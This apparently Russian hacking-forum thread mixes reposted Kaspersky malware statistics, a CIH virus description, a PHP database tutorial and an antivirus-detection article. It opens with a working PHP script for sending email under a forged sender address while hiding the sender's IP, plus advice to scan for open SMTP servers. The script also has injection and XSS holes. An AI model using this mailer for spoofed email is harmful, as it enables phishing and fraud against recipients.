Под безопасностью понимается скрытие IP-адреса отправителя, так как он записывается в заголовок отправляемого письма (Received: from localhost (123.dial-up.prov.ru [111.222.111.222])) SMTP-сервером. Например в The Bat! посмотреть заголовок письма можно через комбинацию Ctrl+Shift+K (возврат в обратный режим осуществляется той же комбинацией). Добиться скрытия вашего IP можно с помощью работы вашего телнет-клиента, через Socks`ы (довольно хорощий софт делает компания Permeo (http://www.socks.permeo.com)). Но есть и другой способ, а именно написать скрипт (например на PHP) и отправлять письма с сервера, на который будет закачен такой скрипт. В таком случае в качестве IP отправителя - будет IP хостера. Пример такого скрипта (mail.php) нижу (Автор: Terabyte, www.web-hack.ru):

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
<html><head><title>Send-mail</title></head>
<body bgcolor="#ddddd0"><br>
<?php
$email=$_GET['email'];
$topic=$_GET['topic'];
$msg=$_GET['msg'];
$from=$_GET['from'];
if ((isset($email) && $email != "" && preg_match("/\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/",$email)) && (isset($topic) && $topic != "") && (isset($msg) && $msg != "") && (isset($from) && $from != ""))
{if (mail($email, $topic, $msg, "From: $from"))
{$email=str_replace("<","&lt;",$email);
$email=str_replace(">","&gt;",$email);
$from=str_replace("<","&lt;",$from);
$from=str_replace(">","&gt;",$from);
echo "<h3 align=\"center\">Ваше сообщение отправленно</h3>
<table border=\"0\" align=\"center\">
<tr><td>Адрес получателя:</td><td><b>$email</b></td></tr>
<tr><td>Тема письма:</td><td><b>$topic</b></td></tr>
<tr><td>Адрес отправителя:</td><td><b>$from</b></td></tr>
</table><p align=\"center\">Текст сообщения: <i><b>$msg</b></i></p>
<h3 align=\"center\"><a href=\"email.php\">&lt;&lt; Вернуться назад</a></h3>";}
else {
echo "<h3 align=\"center\">Ваше сообщение не отправленно!</h3>
<h3 align=\"center\">Причины: вы ввели не корректно данные или сервер отказался отсылать письмо</h3>
<h3 align=\"center\"><a href=\"mail.php\">&lt;&lt; Вернуться назад</a></h3>";}}
else {echo "
<form action=\"mail.php\">
<table border=\"2\" align=\"center\">
<tr><td>Адрес получателя:</td><td><input type=\"text\" name=\"email\" value=\"\" size=\"35\"></td></tr>
<tr><td>Тема письма:</td><td><input type=\"text\" name=\"topic\" value=\"\" size=\"35\"></td></tr>
<tr><td>Текст сообщения:</td><td><textarea name=\"msg\" cols=\"26\" rows=\"2\"></textarea></td></tr>
<tr></tr><tr><td>Адрес отправителя:</td><td><input type=\"text\" name=\"from\" value=\"Bill Gates &lt;BillGates@microsoft.com&gt;\" size=\"35\"></td></tr>
<tr><td align=\"center\"><input type=\"submit\" value=\"Отослать письмо\"></td><td align=\"center\"><input type=\"reset\" value=\"Очистить поля\"></td></tr>
</table>
</form>";}

echo "<h3 align=\"center\">Автор: <a href=\"http://www.web-hack.ru\">Terabyte</a></h3>";
?>
</body></html>
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=

Ограничением данного скрипта является то, что он не заработает на большинстве бесплатных хостингов по причине того, что на них отключена функция mail() для защиты от спама.

==========
Заключение
==========

Естественно в статье не были рассмотрены все возможные команды к SMTP-серверу (найти полный список и описание к командам ты сможешь в любом поисковике), но тех что были описаны выше тебе хватит на первое время. Меня часто спрашивают о том, где взять списки SMTP-серверов. Ответ довольно прост: их можно довольно быстро насканить сканером открытых портов, например с помощью SuperScan (http://www.web-hack.ru/download/info.php?go=66). Обсуждение данной статьи проходит на нашем форуме (http://forum.web-hack.ru/index.php?showtopic=2224).




Так пока что все. Скоро будет продолжение...
Пысы Все ваши действия приводящие к нарушению закона действия произведенные вами а не нами.
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 28.10.2007 - 19:04

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


Немного с опозднаем но вот...
============================================
Самые самы...


Киберпаноптикум, июль 2007
13.08.2007 | комментировать


Юрий Машевский


Предлагаем читателю ознакомиться с итогами июля. По-прежнему, десять позиций — десять зловредов-лидеров.

«Самый жадный зловред по отношению к банкам». Минула середина лета. По итогам «среднего» летнего месяца самым жадным стал Trojan-Spy.Win32.Banker.alv, проявляющий интерес к 33 банкам.
«Самый жадный зловред по отношению к системам электронных денег». Здесь оставил свой след Trojan-PSW.Win32Steam.f, который интересуется тремя платежными системами одновременно.
«Самый жадный зловред по отношению к пластиковым картам». Победителем стала одна из модификаций Trojan-Spy.Win32Banbra.df, имеющая бразильские корни. В зону интересов этого зловреда попадают четыре системы пластиковых карт.
«Самый упакованный зловред». Во втором летнем месяце здесь расположился Trojan-Downloader.Win32.Delf.ain, который запакован различными программами упаковки исполняемых файлов целых12 (!) раз.
«Самый маленький зловред». В июле эту позицию заняла кроха размером всего 14 байт — Trojan.BAT.Formatcu. Но, несмотря на свой размер, эта кроха в состоянии сделать много гадостей, а именно уничтожить все данные на вашем диске C.
«Самый большой зловред». Поистине пожирателем дискового пространства по результатам июля стала одна из модификаций Trojan.Win32.KillFiles.mb. Размер этого троянца составил 743MB.
«Самый враждебный зловред». Лидером в этой категории стал Backdoor.Win32.Aebot.e, который удаляет антивирусные средства везде, где сможет найти: файлы на диске, процессы в памяти, ключи автозапуска в реестре.
«Самый распространенный зловред в почтовом трафике». Эту позицию занял Email-Worm.Win32.Warezov.pk, доля которого в почтовом вредоносном трафике составила почти 23%.
«Самое распространенное семейство среди троянских программ». В этом месяце лидером стало семейство Trojan-Spy.Win32.Banload, которое в течение июля отметилось 534 вариантами, не встречавшимися ранее.
«Самое распространенное семейство среди вирусов и червей». Самым распространенным опять (после месячного перерыва) оказалось семейство почтового червя Warezov. В июле были перехвачены представители 41 модификации.
Источники:
Лаборатория Касперского


============================================

США Лохи...



США беззащитны перед стратегическими хакерскими атаками
Игорь Громов | 28.04.2007 13:47 MSK | комментарии (2)

США уязвимы для стратегических кибератак со стороны внешних врагов. С таким заявлением выступили перед членами комитета Палаты представителей по внутренней безопасности эксперты в области информационной защиты, сообщает сайт Darkreading.com. В докладе было отмечено, что существующие сейчас меры киберзащиты устарели и оставляют страну уязвимой — «не для обычного оружия, а для кибернетического».

«Мы — нация, которая не готова должным образом защитить себя и восстановиться после стратегической хакерской атаки», — заявил президент некоммерческой ассоциации «Профессионалы за киберзащиту» Сами Сайдьяри (Sami Saydjari). «Зарубежные спецслужбы, должно быть, рыдают от счастья, когда изучают американские государственные сети. Это проблема не гипотетического характера. В течение 20 последних лет мы наблюдали мародерство в американских государственных базах данных», — отметил старший партнер и директор программы при Центре стратегических и международных исследований Джеймс Льюис.

«Государственные органы не предпринимают достаточных мер для того, чтобы справиться с постоянно меняющимися угрозами в киберпространстве, а существующие сейчас меры защиты неадекватны», — полагает Льюис. По его мнению, взломать сети, которые отвечают современным требованиям безопасности наподобие сертификатов Common Criteria и FISMA, вполне возможно. «Иными словами, вы можете формально соблюдать все требования и всё равно оставаться уязвимыми», — подчеркнул директор программы.

Недавнее сокращение бюджета Министерства внутренней безопасности США на нужды в информационной области нельзя назвать мудрым, полагают эксперты. «Многомиллионные стратегические инвестиции, проводимые под контролем лучших экспертов страны, могут снизить риски, если мы начнем работу с вложения 500 миллионов долларов сейчас», — считает Сайдьяри.

Специалисты также выразили уверенность в том, что Парламенту надлежит существенно изменить правила, касающиеся обнародования данных об уязвимостях. Обнародование должно происходить без угрозы потери бизнеса для компаний.

Источники:
Dark Reading
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 30.10.2007 - 22:27

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


Правда или вымысел. Лаборатория касперского. Москва
Virus.Win9x.CIH
Другие версии: .dam
Другие названия

Virus.Win9x.CIH («Лаборатория Касперского») также известен как: Win95.CIH («Лаборатория Касперского»), W95/CIH.1019a (McAfee), W95.CIH (Symantec), Win95.CIH.1003 (Doctor Web), W95/CIH-10xx (Sophos), Win95/CIH.1003 (RAV), PE_CIH.1003 (Trend Micro), W95/CIH.A (H+BEDV), W32/CIH.1019.A (FRISK), Win95:CIH (ALWIL), Win32/CIH (Grisoft), Win95.CIH.Gen (SOFTWIN), CIH.2 (ClamAV), W95/CIH (Panda), Win95/CIH (Eset) Описание опубликовано 12 янв 2000
Поведение Virus, компьютерный вирус
Технические детали


Также известен как "Чернобыль". Резидентный вирус, работает только под Windows95/98 и заражает PE-файлы (Portable Executable). Имеет довольно небольшую длину - около 1Кб. Был обнаружен "в живом виде" на Тайване в июне 1998 - автор вируса заразил компьютеры в местном университете, где он (автор вируса) в то время проходил обучение. Через некоторое время зараженные файлы были (случайно?) разосланы в местные Интернет-конференции, и вирус выбрался за пределы Тайваня: за последующую неделю вирусные эпидемии были зарегистрированы в Австрии, Австралии, Израиле и Великобритании. Затем вирус был обнаружен и в нескольких других странах, включая Россию.

Примерно через месяц зараженные файлы были обнаружены на нескольких американских Web-серверах, распространяющих игровые программы. Этот факт, видимо, и послужил причиной последовавшей глобальной вирусной эпидемии. 26 апреля 1999 года (примерно через год после появления вируса) сработала "логическая бомба", заложенная в его код. По различным оценкам, в этот день по всему миру пострадало около полумиллиона компьютеров - у них оказались уничтожены данные на жестком диске, а на некоторых плюс к тому испорчено содержимое микросхем BIOS на материнских платах. Данный инцидент стал настоящей компьютерной катастрофой - вирусные эпидемии и их последствия никогда до того не были столь масштабными и не приносили таких убытков.

Видимо, по тем причинам, что 1) вирус нес реальную угрозу компьютерам во всем мире и 2) дата срабатывания вируса (26 апреля) совпадает с датой аварии на Чернобыльской атомной электростанции, вирус получил свое второе имя - "Чернобыль" (Chernobyl).

Автор вируса, скорее всего, никак не связывал Чернобыльскую трагедию со своим вирусом и поставил дату срабатывания "бомбы" на 26 апреля по совсем другой причине: именно 26 апреля в 1998 году он выпустил первую версию своего вируса (которая, кстати, так и не вышла за пределы Тайваня) - 26 апреля вирус "CIH" отмечает подобным образом свой "день рождения".
Как вирус работает

При запуске зараженного файла вирус инсталлирует свой код в память Windows, перехватывает обращения к файлам и при открытии PE EXE-файлов записывает в них свою копию. Содержит ошибки и в некоторых случаях завешивает систему при запуске зараженных файлов. В зависимости от текущей даты стирает Flash BIOS и содержимое дисков.

Запись в Flash BIOS возможна только на соответсвующих типах материнских плат и при разрешающей установке соответственного переключателя. Этот переключатель обычно установлен в положение "только чтение", однако это справедливо не для всех производителей компьютеров. К сожалению Flash BIOS на некоторых современных материнских платах не может быть защищена переключателем: одни из них разрешают запись в Flash при любом положении переключателя, на других защита записи в Flash может быть отменена программно.

После успешного стирания Flash-памяти вирус переходит к другой деструктивной процедуре: стирает информацию на всех установленных винчестерах. При этом вирус использует прямой доступ к данным на диске и тем самым обходит встроенную в BIOS стандартную антивирусную защиту от записи в загрузочные сектора.

Известно три основные ("авторские") версии вируса. Они достаточно похожи друг на друга и отличаются лишь незначительными деталями кода в различных подпрограммах. Версии вируса имеют различные длины, строки текста и дату срабатывания процедуры стирания дисков и Flash BIOS:
Длина Текст Дата срабатывания Обнаружен "в живом виде"
1003 CIH 1.2 TTIT 26 апреля Да
1010 CIH 1.3 TTIT 26 апреля Нет
1019 CIH 1.4 TATUNG 26 каждого месяца Да - во многих странах
Технические детали

При заражении файлов вирус ищет в них "дыры" (блоки неспользуемых данных) и записывает в них свой код. Присутствие таких "дыр" обусловлено структурой PE-файлов: позиция каждой секции в файле выравнена на определенное значение, указанное в PE-заголовке, и в большинстве случаев между концом предыдущей секции и началом последующей есть некоторое количество байт, которые не используются программой. Вирус ищет в файле такие неиспользуемые блоки, записывает в них свой код и увеличивает на необходимое значение размер модифицированной секции. Размер заражаемых файлов при этом не увеличивается.

Если в конце какой-либо секции присутствует "дыра" достаточного размера, вирус записывает в нее свой код одним блоком. Если же такой "дыры" нет, вирус дробит свой код на блоки и записывает их в конец различных секций файла. Таким образом, код вируса в зараженных файлах может быть обнаружен и как единый блок кода, и как несколько несвязанных между собой блоков.

Вирус также ищет неиспользуемый блок данных в PE-заголовке. Если в конце заголовка есть "дыра" размером не менее 184 байт, вирус записывает в нее свою startup-процедуру. Затем вирус изменяет стартовый адрес файла: записывает в нее адрес своей startup-процедуры. В результате такого приема структура файла становится достаточно нестандартной: адрес стартовой процедуры программы указывает не в какую-либо секцию файла, а за пределы загружаемого модуля - в заголовок файла. Однако Windows95 не обращает внимания на такие "странные" файлы, грузит в память заголовок файла, затем все секции и передает управление на указанный в заголовке адрес - на startup-прецедуру вируса в PE-заголовке.

Получив управление, startup-процедура вируса выделяет блок памяти VMM-вызовом PageAllocate, копирует туда свой код, затем определяет адреса остальных блоков кода вируса (расположенных в конце секций) и дописывает их к коду своей startup-процедуры. Затем вирус перехватывает IFS API и возвращает управление программе-носителю.

С точки зрения операционной системы эта процедура наиболее интересна в вирусе: после того, как вирус скопировал свой код в новый блок памяти и передал туда управление, код вируса исполняется как приложение Ring0, и вирус в состоянии перехватить AFS API (это невозможно для программ, выполняемых в Ring3).

Перехватчик IFS API обрабатывает только одну функцию - открытие файлов. Если открывается файл с расширением EXE, вирус проверяет его внутренний формат и записывает в файл свой код. После заражения вирус проверяет системную дату и вызывает процедуру стирания Flash BIOS и секторов диска (см. выше).

При стирании Flash BIOS вирус использует соответствующие порты чтения/записи, при стирании секторов дисков вирус вызывает VxD-функцию прямого обращения к дискам IOS_SendCommand.
Известные варианты вируса

Автор вируса не только выпустил копии зараженных файлов "на свободу", но и разослал исходные ассемблерные тексты вируса. Это привело к тому, что эти тексты были откорректированы, откомпилированы и вскоре появились модификации вируса, имевшие различные длины, однако по функциональности они все соответствовали своему "родителю". В некоторых вариантах вируса была изменена дата срабатывания "бомбы", либо этот участок вообще никогда не вызывался.

Известно также об "оригинальных" версиях вируса, срабатывающих в дни, отличные от 26 [апреля]. Данный факт объясняется тем, что проверка даты в коде вируса происходит по двум константам. Естественно, что для того, чтобы поставить таймер "бомбы" на любой заданный день, достаточно поменять лишь два байта в коде вируса.
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 2.11.2007 - 08:22

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


Онлайн-двадцатка, октябрь 2007


Александр Гостев


Позиция Изменение позиции Вредоносная программа Доля, проценты
1 New Packed.Win32.NSAnti.r 2.27
2 -1 Trojan.Win32.Dialer.qn 2.12
3 Email-Worm.Win32.Brontok.q 1.99
4 +5 not-a-virus:AdWare.Win32.BHO.cc 1.44
5 +1 Email-Worm.Win32.Rays 1.33
6 Return Backdoor.IRC.Zapchast 1.31
7 -3 Trojan-Downloader.Win32.Small.ddp 1.27
8 Virus.VBS.Small.a 1.13
9 -4 not-a-virus:Monitor.Win32.Perflogger.ca 1.08
10 +2 IM-Worm.Win32.Sohanad.t 1.03
11 -4 not-a-virus:PSWTool.Win32.RAS.a 1.03
12 New Trojan-Downloader.VBS.Psyme.ga 0.82
13 +2 IM-Worm.Win32.Sohanad.as 0.82
14 Trojan.Win32.Obfuscated.en 0.80
15 0.78 Worm.Win32.AutoIt.c 0.69
16 New Trojan.Win32.VB.atg 0.71
17 -6 not-a-virus:Monitor.Win32.Perflogger.ad 0.67
18 -5 Trojan-Spy.Win32.Perfloger.ab 0.65
19 New Trojan-Downloader.Win32.AutoIt.q 0.64
20 New not-a-virus:Porn-Dialer.Win32.AdultBrowser 0.61
Остальные вредоносные программы 77.50





Обзор вирусной активности, октябрь 2007


Александр Гостев


Позиция Изменение позиции Вредоносная программа Вердикт PDM Доля, проценты
1 Email-Worm.Win32.NetSky.q Trojan.generic 20,11
2 New Trojan-Spy.HTML.Fraud.ay <Not detected> (phishing email) 10,83
3 -1 Email-Worm.Win32.NetSky.aa Trojan.generic 9,07
4 +3 Worm.Win32.Feebs.gen Hidden Data Sending 5,97
5 -2 Email-Worm.Win32.Mydoom.l Trojan.generic 5,85
6 New Exploit.Win32.PDF-URI.k <Not detected> (PDF exploit) 5,17
7 +1 Email-Worm.Win32.NetSky.t Trojan.generic 4,94
8 -4 Email-Worm.Win32.Bagle.gt Trojan.generic 4,31
9 -4 Email-Worm.Win32.Nyxem.e Trojan.generic 4,16
10 -4 Net-Worm.Win32.Mytob.c Trojan.generic 4,12
11 Email-Worm.Win32.NetSky.x Trojan.generic 2,72
12 Email-Worm.Win32.Scano.gen Trojan.generic 2,61
13 +1 Net-Worm.Win32.Mytob.t Worm.P2P.generic 2,37
14 New Virus.Win32.Virut.a <Not detected> (file infector, not operational if KAV installed) 1,87
15 +3 Net-Worm.Win32.Mytob.u Worm.P2P.generic 1,75
16 -6 Email-Worm.Win32.NetSky.b Trojan.generic 1,40
17 Return Email-Worm.Win32.LovGate.w Trojan.generic 1,28
18 -3 Net-Worm.Win32.Mytob.dam <Not detected> (damaged files) 1,28
19 -6 Exploit.Win32.IMG-WMF.y <Not detected> (WMF exploit) 1,07
20 -11 Trojan-Spy.HTML.Paylap.bg <Not detected> (phishing email) 1,07
Остальные вредоносные программы 8,05




Архитектура доступа к данным в PHP

Автор: Крест
Дата: 30.10.2007 16:47:23




Современные системы бизнес уровня, а также информационные сайты и блоги редко обходятся без использования СУРБД, реже других источников данных. Наиболее удобная реализация взаимодействия бизнес логики, источника данных и представления зависит от планирования архитектуры приложения. Объектно-ориентированное программирование позволяет реализовать вашу систему так, что отдельные модули можно использовать в других системах. В данной статье мы реализуем архитектуру взаимодействия с источником данных. И назовем этот модуль Data Source Object.

Дело в том, что источников данных может быть несколько в одном приложении, что затрудняет ее структуру. Хотелось бы иметь некий абстрактный интерфейс для работы с источником данных, т.е. желательно использовать полиморфные классы для сокрытия реализации подключения к источнику, извлечения и изменения данных. Полиморфизмом называется возможность применения методов с одинаковыми именами в группе классов, связанных наследованием. Применяя подобные классы, в связке с паттерном Фабрика, который позволяет манипулировать различными вариациями в зависимости от необходимого случая, работа с данными становится намного проще. Давай рассмотрим два случая, когда данные хранятся в двух различных СУРБД, MySQL и MSSQL.

Первым делом мы реализуем класс, моделирующий данные для подключения к источнику данных.
<?
class Db
{
private $user;
private $password;
private $host;
private $name;

public function __construct($user, $password, $host, $name)
{
$this->user = $user;
$this->password = $password;
$this->host = $host;
$this->name = $name;
}

public function getUser()
{
return $this->user;
}
public function getPassword()
{
return $this->password;
}
public function getHost()
{
return $this->host;
}
public function getName()
{
return $this->name;
}
}
?>

Действительно, php функции подключения к СУРБД имеют одинаковый интерфейс. Класс представляет необходимые параметры в объектном виде. Члены класса можно объявить как public, это дело вкуса, но я привык именно так работать smile.gif. Так как мы только моделируем функциональность, мы воспользуемся абстрактными классами. Если в классе объявлены абстрактные методы, то и класс тоже должен быть объявлен как абстрактный. Абстрактный класс может содержать и обычные методы и поля. Нельзя создавать объект абстрактного класса, но его нужно переопределять классами потомками. Т.е. абстрактные классы служат прототипами классов, которые наследуют их основу. Мы безоговорочно должны принять правила, диктуемые нам абстрактными классами. Если мы объявили абстрактный метод с двумя параметрами, то в последующих классах мы должны реализовать одноименный метод именно с тем же числом параметров.
<?
abstract class Connection
{
protected $db;
protected $connection;

final public function __construct($db)
{
$this->db = $db;
$this->Open();
}

abstract protected function Open();

final public function getConnection()
{
return $this->connection;
}
}
?>

В данном случае мы видим абстрактный класс, моделирующий подключение уже для конкретной СУРБД, т.е. класс, реализующий подключение к MySQL будет наследоваться от данного класса. Класс имеет два protected члена - $db и $connection. Первый – это объект типа Db из предыдущего листинга, второй - указатель на соединение, необходимый для выполнения запросов. В конструкторе класса реализуется инициализация объекта типа Db, а также вызывается метод, открывающий соединение с источником данных. Метод getConnection() соответственно открывает доступ извне к указателю на соединение. Давай рассмотрим реализацию подключения к БД на примере MySQL. Для других источников данных архитектура окажется подобной.
<?
class MySQLConnection extends Connection
{
protected function Open()
{
$host = $this->db->getHost();
$pas = $this->db->getPassword();
$user = $this->db->getUser();
$name = $this->db->getName();

if(!$this->connection = @mysql_pconnect($host, $user, $pas)) {
$this->Errors[]="Не удается установить подключение";
return FALSE;
}
if(! @mysql_select_db($name)) {
$this->Errors[]="Не удается выбрать базу данных";\
return FALSE;
}
}
}
?>

Как видно из листинга, класс MySQLConnection является потомком класса Connection, т.е. расширяет предыдущий класс до нового путём расширения функциональности, т.е. новый класс будет содержать те же методы (которые, кстати, могут и изменить свою реализацию) и свойства прежнего класса. Также видно, что класс реализует метод подключения к источнику. Количество строк можно сократить, но написано именно так для наглядности smile.gif. Очевидно, что для других СУРБД реализация будет схожей.

Настало время подумать над тем, как мы будем взаимодействовать с данными. И так, мы должны открыть соединение с СУРБД, выполнить запрос, если запрос на извлечение данных, представить их в удобном виде. Например, массив данных удобнее представить в массиве и т.д.

Идея состоит в том, что ниже реализованные методы функциональны в рамках одного SQL запроса, т.е. результат, возвращаемый ими, будет зависеть от самого запроса.
<?
abstract class DataAccess
{
protected $db;
protected $connection;
protected $result;
protected $Errors;

final public function __construct($db)
{
$this->db = $db;
}

abstract public function Query($sql);
abstract public function db2Array();
abstract public function dbCol2Array($num);
abstract public function dbRow2Array($num);
abstract public function db2Var($row, $col);
abstract public function dbNumRows();

final public function getErrors()
{
return $this->Errors;
}
}
?>

Данные класса состоят из protected членов $db, объект типа DataBase; $connection представляет указатель на соединение; $result, является результатом запроса; $Errors – массив ошибок, возникших в процессе работы.

Функциональность представим следующими абстрактными методами.
Query($sql) – входной параметр данного метода есть SQL запрос. Сам же метод подключается к источнику данных, выполняет запрос, инициализирует результат выполнения запроса. Если запрос выполнился удачно, возвращаем истину, если нет, то кричим, что ложь smile.gif. Данный метод в дальнейшем мы будем использовать для запросов как на извлечение данных, так и на их изменение.
db2Array() – метод возвращает массив данных, в зависимости от запроса.
dbCol2Array($num) - представляет данные таблицы в виде одного столбца. Входной параметр имеет тип String.
dbRow2Array($num) – возвращает данные одной конкретной строки. Входной параметр – integer.
db2Var($row, $col) – представляет пересечение столбца и ячейки.
dbNumRows() – возвращает количество строк, выбранных запросом
getErrors()

Давайте теперь рассмотрим реализацию вышеприведенных методов.
<?
class MySQLDataAccess extends DataAccess
{
public function Query($sql)
{
$con = new MySQLConnection($this->db);
$this->connection = $con->getConnection();
if(!$this->result = @mysql_query($sql, $this->connection))
{
$this->Errors[]="Не удается выполнить запрос: $sql";
return FALSE;
}
else
return TRUE;
}

public function setCharset($charset)
{
$sql = "SET NAMES '$charset'";
$this->Query($sql);
}

public function db2Array()
{
$array = array();
while($rows = @mysql_fetch_array($this->result, MYSQL_ASSOC))
{
$array[] = $rows;
}
return $array;


}

public function dbCol2Array($num)
{
while($rows = @mysql_fetch_array($this->result, MYSQL_ASSOC))
{
$data[] = $rows[$num];
}
if(count($data)<0)
{
$this->Errors[]="Массив столбцов пуст";
return FALSE;
}
else
return $data;
}

public function dbRow2Array($num)
{
$num = (int)$num;
$i=0;
while($rows = @mysql_fetch_array($this->result, MYSQL_ASSOC))
{
if($i === $num)
{
$data = $rows;
break;
}
$i++;
}
if(count($data)<0)
{
$this->Errors[]="Массив строк пуст";
return FALSE;
}
else
return $this->data;
}

public function db2Var($row, $col)
{
$i=0;
while($rows = @mysql_fetch_array($this->result, MYSQL_ASSOC))
{
if($i == $row)
{
$data = $rows[$col];
break;
}
$i++;
}
if(!empty($data))
{
return $data;
}
else
{
$this->Errors[]="Не удается извлечь $row x $col ячейку";
return false;
}
}

public function dbNumRows()
{
$numRows = @mysql_num_rows($this->result);
if($numRows > 0)
return $numRows;
else
{
$this->Errors[]="Не удается получить число выбранных строк";
return false;
}
}
}
?>

Теперь осталось сделать так, что бы при необходимом условии выполнялась определенная реализация. Пишем класс…
class DataAccessor
{
private $type;

public function __construct($type)
{
$this->type = $type;
}

public function getObj($db)
{
switch($this->type)
{
case 'MySQL':
$obj = new MySQLDataAccess($db);
break;
case 'MSSQL':
$obj = new MSSQLDataAccess($db);
break;
default:
$obj = new MySQLDataAccess($db);
break;
}
return $obj;
}
}
?>

Как видно из листинга, есть дополнительный метод, который устанавливает кодировку, необходимую для запроса. Данный метод не был включен в общий список абстрактных методов, т.к. является специфическим для данной СУРБД.

Принцип действия данного класса заключается в том, что, в зависимости от параметра type, возвращается необходимый объект.

Рассмотрим, как все это реализуется в коде.
<?
$dbo = new Db('$user', '$password', '$host', '$database');
$dba = new DataAccessor('MySQL');
$db = $dba->getObj($dbo);
$db->setCharset('cp1251');
?>

В первой строке создается объект, представляющей параметры подключения. Во второй, создаем объект, конструктор которого инициализирует тип источника данных. В третей строке мы получаем необходимый объект. В последней происходит задание кодировки, в которой будет происходить взаимодействие с базой данных.

В последующих статьях я расскажу, как использовать данный способ взаимодействия с источниками данных.

Сообщение отредактировано CL!F - 2.11.2007 - 08:28
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 9.11.2007 - 23:55

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


О Вирусах:

В этой статье освещаются различные способы идентификации вредоносного кода, функциональные и, отчасти, хронологические связи между ними, их технологические и прикладные особенности. С одной стороны, многие из описанных здесь технологий и принципов актуальны не только в антивирусах, но и в более широком контексте систем компьютерной безопасности. С другой, за пределами статьи остались многие важные, но более частные технологии антивирусной индустрии, такие как распаковка упакованных программ или потоковое сигнатурное детектирование.

Введение
Модель системы защиты от вредоносных программ
Технический компонент
1. Считывание файлов
2. Эмуляция
3. Виртуализация: «песочница»
4. Мониторинг системных событий
5. Поиск системных аномалий
Забавная метафора
Аналитический компонент
1. Простое сравнение
2. Сложное сравнение
3. Экспертная система
Реальные названия технологий — что к чему
Плюсы и минусы способов обнаружения вредоносного кода
Как выбрать систему несигнатурной защиты?
Ссылки

Введение

Самая первая технология поиска вредоносных программ была основана на использовании сигнатур — участков кода, однозначно идентифицирующих ту или иную вредоносную программу. По мере того, как эволюционировали вирусы, усложнялись и развивались технологии их детектирования. Все эти продвинутые технологии — разные виды «эвристик» и «поведенческих анализаторов» — можно обобщенно назвать «несигнатурными».

Несмотря на то что название данной статьи апеллирует ко всему спектру технологий детектирования вредоносного кода, речь в ней пойдет преимущественно о несигнатурных технологиях — о сигнатурных сказать уже практически нечего ввиду их примитивности и однозначности. В то же время пользователи плохо ориентируются в несигнатурных технологиях. Что скрывается под названиями «эвристика», «проактивное детектирование», «поведенческое детектирование», «HIPS», как перечисленные технологии соотносятся друг с другом, каковы преимущества и недостатки каждой из них? Разобраться в этом — задача нашей статьи. Помимо прочего, данная статья, так же как и предыдущая — «Эволюция самозащиты вредоносных программ», имеет целью систематизировать и максимально объективно рассмотреть некоторые частные проблемы из области вредоносных программ и защиты от них. Статьи этого цикла рассчитаны на читателей, имеющих общее представление об антивирусных технологиях, но не являющихся специалистами в области защиты от вредоносных программ.

Модель системы защиты от вредоносных программ

Для начала рассмотрим, как работают технологии поиска вредоносного кода. Для этого я предлагаю использовать следующую модель.

В любой защитной технологии можно выделить два компонента: технический и аналитический. Эти компоненты не обязаны быть четко разграничены на уровне модулей или алгоритмов, но на функциональном уровне они различимы.

Технический компонент — это совокупность программных функций и алгоритмов, обеспечивающих аналитический компонент данными для анализа. В качестве таковых могут выступать, к примеру, байтовый код файла, текстовые строчки внутри файла, единичное действие программы в рамках операционной системы или целая цепочка таких действий.

Аналитический компонент — это система принятия решения. Это алгоритм, который анализирует имеющиеся в его распоряжении данные и выносит о них некое суждение. В соответствии с этим суждением антивирус (либо другое защитное ПО) предпринимает установленные его политикой безопасности действия: оповещает пользователя, запрашивает у него дальнейшие указания, помещает файл в карантин, блокирует несанкционированное действие программы и т.д.

Для примера рассмотрим классическую защиту от вредоносных программ, основанную на сигнатурном детектировании. В ней в качестве технического компонента выступает система получения информации о файловой системе, файлах и их цифровом содержимом, а в качестве аналитического — простая операция сравнения байтовых последовательностей. То есть, если говорить упрощенно, на входе у аналитического компонента — код файла, а на выходе — решение, является ли данный файл вредоносным.

В рамках описанной модели любая система защиты может быть представлена как «комплексное число» — как связка двух независимых объектов: технического и аналитического компонентов определенного типа. Анализируя технологии таким образом, легко увидеть их соотношение, их принципиальные плюсы и минусы. И, в частности, с помощью этой модели удобно разрешить путаницу в определениях технологий. Например, ниже будет показано, что «эвристика» как способ принятия решений — лишь разновидность аналитического компонента, а не самостоятельная технология. А HIPS (Host Intrusion Prevention System) — лишь разновидность технического компонента, способ сбора данных. Как следствие, данные термины, во-первых, формально не противоречат друг другу, а во-вторых, не полностью характеризуют технологию, в описании которой встречаются: говоря об эвристике, мы не уточняем, по каким именно данным производится эвристический анализ, а говоря о HIPS-системе — ничего не знаем о том, по какому принципу в ней выносится вердикт.

Более подробно эти технологии будут обсуждаться в соответствующих разделах, а пока рассмотрим сами принципы, на которых основана любая технология поиска вредоносного кода: технические — как способы сбора информации, и аналитические — как способы ее обработки.


Диаграмма. Суммарная схема технологий обнаружения
вредоносного кода

Технический компонент

Техническая составляющая системы обнаружения вредоносных программ обеспечивает сбор данных, которые будут использоваться для анализа ситуации.

Вредоносная программа — это, с одной стороны, файл с определенным содержимым, с другой — совокупность действий, производимых в операционной системе, с третьей — совокупность конечных эффектов в операционной системе. Поэтому и идентификация программы может быть произведена на разных уровнях: по цепочкам байт, по действиям, по влиянию на операционную систему и т.д.

Обобщая, можно выделить следующие способы сбора данных для выявления вредоносных программ:
Работа с файлом как с массивом байтов.
Эмуляция1 кода программы.
Запуск программы в «песочнице» (sandbox2) (а также использование близких по смыслу технологий виртуализации).
Мониторинг системных событий.
Поиск системных аномалий.

